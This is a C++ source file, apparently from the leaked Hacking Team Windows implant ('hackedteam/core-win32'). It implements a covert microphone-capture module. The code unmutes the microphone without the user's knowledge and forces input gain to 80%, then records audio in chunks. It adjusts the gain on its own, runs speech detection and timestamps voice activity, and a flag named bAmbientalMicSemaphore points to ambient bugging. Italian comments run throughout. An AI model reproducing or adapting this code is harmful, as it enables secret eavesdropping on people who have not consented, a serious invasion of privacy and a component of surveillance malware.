hackedteam/core-win32

#include <Windows.h>
#include <new>

#undef _WIN32_WINNT
#define _WIN32_WINNT 0x0600
#include "..\common.h"
#include "QVistaMicrophone.h"

QVistaMicrophone::QVistaMicrophone(BOOL bCalibration, UINT uThreshold, INT iSilence) : 
bSilence(FALSE), bVolume(FALSE), bVoice(FALSE), bMute(FALSE), bMicInitialization(FALSE),
uAudioBufferSize(0), uChannels(0), iSilenceBlock(0), pAudioBuffer(NULL), qsd(NULL),
pEnumerator(NULL), pDevice(NULL), pAudioClient(NULL), pAudio(NULL), pCaptureClient(NULL)
{
    bCalibrate = bCalibration;
    uChunkLen = 5;    // Manteniamo 5 secondi in RAM
    iSilenceLength = iSilence;    // Numero di blocchi di silenzio prima di fermare la registrazione
    fVoiceThreshold = (FLOAT)uThreshold / 1000.0f;        // Soglia di sensibilita' del filtro

    wfx.wFormatTag = WAVE_FORMAT_PCM;
    wfx.nSamplesPerSec = 44100;
    wfx.nChannels = 2;
    wfx.wBitsPerSample = 16;
    wfx.nBlockAlign = (wfx.nChannels * wfx.wBitsPerSample) / 8;
    wfx.nAvgBytesPerSec = wfx.nSamplesPerSec * wfx.nBlockAlign;
    wfx.cbSize = 0;

    FNC(GetSystemTime)(&st);

    hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    InitMic();
}

QVistaMicrophone::~QVistaMicrophone()
{
    if(pAudioBuffer != NULL){
        delete[] pAudioBuffer;
        pAudioBuffer = NULL;
        uAudioBufferSize = 0;
    }

    if(qsd){
        delete qsd;
        qsd = NULL;
    }

    SAFE_RELEASE(pEnumerator)
    SAFE_RELEASE(pDevice)
    SAFE_RELEASE(pAudioClient)
    SAFE_RELEASE(pAudio)
    SAFE_RELEASE(pCaptureClient)

    CoUninitialize();
}

UINT QVistaMicrophone::GetSampleRate()
{
    return wfx.nSamplesPerSec;
}

// Torna la dimensione del buffer allocato, va chiamata dopo l'AcquireMic()
UINT QVistaMicrophone::GetBufferSize()
{
    if(IsInitialized() == FALSE)
        return 0;

    return uAudioBufferSize;
}

BOOL QVistaMicrophone::AcquireMic(PBYTE* pBuffer)
{
    if(pBuffer == NULL)
        return FALSE;

    //if(hr != S_OK && hr != S_FALSE)
    //    return FALSE;

    if(pAudioBuffer){
        delete[] pAudioBuffer;
        pAudioBuffer = NULL;
        uAudioBufferSize = 0;
    }

    if(IsInitialized() == FALSE){
        if(InitMic() == FALSE)
            return FALSE;
    }

    if(AcquireMic() == FALSE)
        return FALSE;

    *pBuffer = pAudioBuffer;
    return TRUE;
}

BOOL QVistaMicrophone::AcquireMic()
{
    BOOL bDone = FALSE, bAppend = FALSE;
    UINT32 bufferFrameCount, numFramesAvailable, packetLength = 0, uTmp = 0;
    UINT uSleepTime, uSleepSlice;
    PBYTE pData = NULL, pTmp = NULL;
    DWORD flags, dwSleep = 0;
    REFERENCE_TIME hnsRequestedDuration = REFTIMES_PER_SEC;
    REFERENCE_TIME hnsActualDuration;

    if(IsInitialized() == FALSE)
        return FALSE;

    CalibrateMic();

    // Get mute state
    hr = pAudio->GetMute(&bMute);
    EXIT_ON_ERROR(hr)

    if(bMute == TRUE){
        if(pAudioBuffer){
            delete[] pAudioBuffer;
            pAudioBuffer = NULL;
            uAudioBufferSize = 0;
        }

        return TRUE;
    }

    // Get the size of the allocated buffer.
    hr = pAudioClient->GetBufferSize(&bufferFrameCount);
    EXIT_ON_ERROR(hr)

    // Calculate the actual duration of the allocated buffer.
    hnsActualDuration = (REFERENCE_TIME)((double)(REFTIMES_PER_SEC) * bufferFrameCount / wfx.nSamplesPerSec);

    if(pAudioBuffer){
        delete[] pAudioBuffer;
        pAudioBuffer = NULL;
        uAudioBufferSize = 0;
    }

    // Calcoliamo il tempo effettivo che spendiamo nella sleep e nella copia
    // dei dati, in modo da riempire il piu' possibile il buffer
    uSleepTime = (UINT)(hnsActualDuration / REFTIMES_PER_MILLISEC);
    uSleepSlice = uSleepTime / 10;
    dwSleep = uSleepTime - (uSleepTime / 10); // Total sleep time - 10%
    dwSleep += FNC(GetTickCount)() - uSleepSlice;

    // Start recording.
    hr = pAudioClient->Start();
    EXIT_ON_ERROR(hr)

    while (dwSleep > FNC(GetTickCount)()) {
        // Sleep for 1/10th of the buffer duration.
        if (MiniSleep(uSleepSlice) == FALSE) {
            EXIT_ON_ERROR(-1)
        }

        hr = pCaptureClient->GetNextPacketSize(&packetLength);
        EXIT_ON_ERROR(hr)
        
        while(packetLength != 0){
            // Get the available data in the shared buffer.
            hr = pCaptureClient->GetBuffer(&pData, &numFramesAvailable, &flags, NULL, NULL);
            EXIT_ON_ERROR(hr)

            if(flags & AUDCLNT_BUFFERFLAGS_SILENT){
                pData = NULL;
                return TRUE;
            }

            // The size, in bytes, of an audio frame equals the number 
            // of channels in the stream multiplied by the sample size per channel. 
            // For example, for a stereo (2-channel) stream with 16-bit samples, the 
            // frame size is four bytes.
            if(pData){
                if(pAudioBuffer){ // Estendiamo il buffer
                    uTmp = numFramesAvailable * (wfx.nChannels * wfx.wBitsPerSample / 8);

                    pTmp = new(std::nothrow) BYTE[uAudioBufferSize + uTmp + 1];

                    if(pTmp == NULL){
                        delete[] pAudioBuffer;
                        pAudioBuffer = NULL;
                        uAudioBufferSize = 0;
                        return FALSE;
                    }

                    memcpy(pTmp, pAudioBuffer, uAudioBufferSize);
                    memcpy(pTmp + uAudioBufferSize, pData, uTmp);

                    delete[] pAudioBuffer;
                    pAudioBuffer = pTmp;
                    uAudioBufferSize += uTmp;
                    pTmp = NULL;
                }else{ // Allochiamo il buffer
                    uAudioBufferSize = numFramesAvailable * (wfx.nChannels * wfx.wBitsPerSample / 8);
                    pAudioBuffer = new(std::nothrow) BYTE[uAudioBufferSize + 1];

                    if(pAudioBuffer == NULL){
                        uAudioBufferSize = 0;
                        return FALSE;
                    }

                    memcpy(pAudioBuffer, pData, uAudioBufferSize);
                }
            }

            hr = pCaptureClient->ReleaseBuffer(numFramesAvailable);
            EXIT_ON_ERROR(hr)

            hr = pCaptureClient->GetNextPacketSize(&packetLength);
            EXIT_ON_ERROR(hr)
        }
    }

    // Stop recording.
    hr = pAudioClient->Stop();

    if(qsd){
        qsd->SetBuffer(pAudioBuffer, uAudioBufferSize);
    }else{
        qsd = new QSpeechDetect(pAudioBuffer, wfx.nSamplesPerSec, wfx.wBitsPerSample, wfx.nChannels, uAudioBufferSize, fVoiceThreshold);
    }

    EXIT_ON_ERROR(hr)
    return TRUE;

Exit:
    if(pAudioBuffer){
        delete[] pAudioBuffer;
        pAudioBuffer = NULL;
        uAudioBufferSize = 0;
    }

    return FALSE;
}

BOOL QVistaMicrophone::InitMic()
{
    REFERENCE_TIME hnsRequestedDuration = REFTIMES_PER_SEC;
    WAVEFORMATEXTENSIBLE *wfxe = NULL;

    if(IsInitialized() == TRUE)
        return TRUE;

    if(CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (LPVOID*)&pEnumerator) != S_OK)
        return FALSE;

    hr = pEnumerator->GetDefaultAudioEndpoint(eCapture, eConsole, &pDevice);
    EXIT_ON_ERROR(hr)

    hr = pDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient);
    EXIT_ON_ERROR(hr)

    hr = pDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_ALL, NULL, (void**)&pAudio);
    EXIT_ON_ERROR(hr)

    hr = pAudio->GetChannelCount(&uChannels);
    EXIT_ON_ERROR(hr)

    hr = pAudio->GetVolumeRange(&fMin, &fMax, &fStep);
    EXIT_ON_ERROR(hr)

    hr = pAudioClient->IsFormatSupported(AUDCLNT_SHAREMODE_SHARED, &wfx, (WAVEFORMATEX **)&wfxe);
    if (wfxe)
        CoTaskMemFree(wfxe);
    EXIT_ON_ERROR(hr)

    hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, 0, REFTIMES_PER_SEC * uChunkLen, 0, &wfx, NULL);
    if (FAILED(hr)) {
        wfx.nSamplesPerSec = 48000;
        wfx.nAvgBytesPerSec = wfx.nSamplesPerSec * wfx.nBlockAlign;
        hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, 0, REFTIMES_PER_SEC * uChunkLen, 0, &wfx, NULL);
    }
    EXIT_ON_ERROR(hr)

    hr = pAudioClient->GetService(__uuidof(IAudioCaptureClient), (void**)&pCaptureClient); 
    EXIT_ON_ERROR(hr)

    bMicInitialization = TRUE;
    return bMicInitialization;

Exit:
    SAFE_RELEASE(pEnumerator)
    SAFE_RELEASE(pDevice)
    SAFE_RELEASE(pAudio)
    SAFE_RELEASE(pAudioClient)
    SAFE_RELEASE(pCaptureClient)
    bMicInitialization = FALSE;
    return bMicInitialization;
}

BOOL QVistaMicrophone::IsInitialized()
{
    return bMicInitialization;
}

BOOL QVistaMicrophone::MiniSleep(UINT uMilliSec)
{
    UINT uLoops;
    UINT uSleepTime = 300; // Step di 300ms

    if (bAmbientalMicSemaphore)
        return FALSE;

    if (uMilliSec <= uSleepTime){
        Sleep(uMilliSec);
        return TRUE;
    } else {
        uLoops = uMilliSec / uSleepTime;
    }

    while (uLoops) {
        Sleep(uSleepTime);
        uLoops--;

        if (bAmbientalMicSemaphore)
            return FALSE;
    }

    return TRUE;
}

BOOL QVistaMicrophone::CalibrateMic()
{
    HRESULT hr;
    UINT  i;
    FLOAT fLevel = 0.80f;

    if(bCalibrate == FALSE)
        return FALSE;

    if(IsInitialized() == FALSE){
        if(InitMic() == FALSE)
            return FALSE;
    }

    // Check paranoico
    if (!pAudio)
        return FALSE;

    // Set mute state to FALSE
    hr = pAudio->SetMute(FALSE, NULL);
    pAudio->GetMute(&bMute);

    // Torna FALSE se non riusciamo ad effettuare l'un-mute
    if(bMute == TRUE)
        return FALSE;

    if(uChannels == 0)
        return FALSE;

    // Normalizza all'80% tutti i canali in ingresso
    if(bVolume == FALSE){
        for(i = 0; i < uChannels; i++)
            pAudio->SetChannelVolumeLevelScalar(i, fLevel, NULL);
    }

    bVolume = TRUE; // Inizializzazione del volume completa
    return TRUE;
}

// Alza il guadagno del 10%
BOOL QVistaMicrophone::StepUp()
{
    FLOAT fLevel = 0.10f;
    UINT i;

    if(bCalibrate == FALSE)
        return FALSE;

    if(bMicInitialization == FALSE){
        if(InitMic() == FALSE)
            return FALSE;
    }

    // Set mute state to FALSE
    hr = pAudio->SetMute(FALSE, NULL);
    pAudio->GetMute(&bMute);

    // Torna FALSE se non riusciamo ad effettuare l'un-mute
    if(bMute == TRUE)
        return FALSE;

    if(uChannels == 0)
        return FALSE;

    for(i = 0; i < uChannels; i++){
        pAudio->GetChannelVolumeLevelScalar(i, &fLevel);
        pAudio->SetChannelVolumeLevelScalar(i, fLevel + 0.10f, NULL);
    }

    return TRUE;
}

// Abbassa il guadagano del 10%
BOOL QVistaMicrophone::StepDown()
{    
    FLOAT fLevel = 0.10f;
    UINT i;

    if(bCalibrate == FALSE)
        return FALSE;

    if(bMicInitialization == FALSE){
        if(InitMic() == FALSE)
            return FALSE;
    }

    // Set mute state to FALSE
    hr = pAudio->SetMute(FALSE, NULL);
    pAudio->GetMute(&bMute);

    // Torna FALSE se non riusciamo ad effettuare l'un-mute
    if(bMute == TRUE)
        return FALSE;

    if(uChannels == 0)
        return FALSE;

    for(i = 0; i < uChannels; i++){
        pAudio->GetChannelVolumeLevelScalar(i, &fLevel);
        pAudio->SetChannelVolumeLevelScalar(i, fLevel - 0.10f, NULL);
    }

    return TRUE;

}

// Se il campione acquisito contiene solo silenzio, cancella
// il buffer, setta la dimensione dei dati acquisiti a 0
// e setta bSilence a TRUE. Altrimenti setta bSilence a FALSE
// e lascia tutto invariato. Torna TRUE se il campione attuale
// e' di solo silenzio, FALSE altrimenti.
BOOL QVistaMicrophone::IsVoice()
{
    UINT uFrameSize, i, uClip = 0, uSilence = 0;
    SHORT sSample;
    FLOAT fSilence = 0.0f, fClip = 0.0f;

    uFrameSize = wfx.nChannels * wfx.wBitsPerSample / 8;

    if(uAudioBufferSize < uFrameSize){
        if(pAudioBuffer){
            delete[] pAudioBuffer;
            pAudioBuffer = NULL;
        }
        
        uAudioBufferSize = 0;
        iSilenceBlock++;
        return FALSE;
    }

    // Cicliamo un solo canale
    for(i = 0; i < uAudioBufferSize; i += 4){
        sSample = *((SHORT *)(&pAudioBuffer[i]));

        if(sSample >= (SHORT_MAX - CLIP_THRESHOLD) || sSample <= (SHORT_MIN + CLIP_THRESHOLD))
            fClip += 1.0f;
        else if(sSample  > -SILENCE_THRESHOLD && sSample < SILENCE_THRESHOLD)
            fSilence += 1.0f;
    }

    if(bCalibrate){
        // Aumentiamo di 1 per evitare una divisione per 0
        fClip += 1.0f;
        fSilence += 1.0f;

        if(fClip > fSilence){
            // Vediamo se c'e' clipping e se dobbiamo calibrare il microfono
            uClip = (UINT)((FLOAT)(fClip / (FLOAT)SAMPLES) * 10.0f);

            for(i = 0; i < uClip; i++)
                StepDown();
        }else{
            // Vediamo se il guadagno e' troppo basso e se dobbiamo calibrare il microfono
            uSilence = (UINT)((FLOAT)(fSilence / (FLOAT)SAMPLES) * 10.0f);

            for(i = 0; i < uSilence; i++)
                StepUp();
        }
    }

    if(qsd)
        bVoice = qsd->IsVoice();
    else
        bVoice = TRUE;    // Nel dubbio, c'e' voce

    // Aggiorna il timestamp se stiamo facendo una transizione da silenzio a voce
    if(bVoice && iSilenceBlock >= iSilenceLength){
        FNC(GetSystemTime)(&st);
    }

    if(bVoice)
        iSilenceBlock = 0;
    else
        iSilenceBlock++;

    return bVoice;
}

// Torna TRUE se i blocchi di silenzio sono maggiori del massimo silence time specificato
BOOL QVistaMicrophone::Silent()
{
    if(iSilenceLength == 0)
        return FALSE;

    if(iSilenceBlock >= iSilenceLength)
        return TRUE;

    return FALSE;
}

SYSTEMTIME QVistaMicrophone::GetTimeStamp()
{
    return st;
}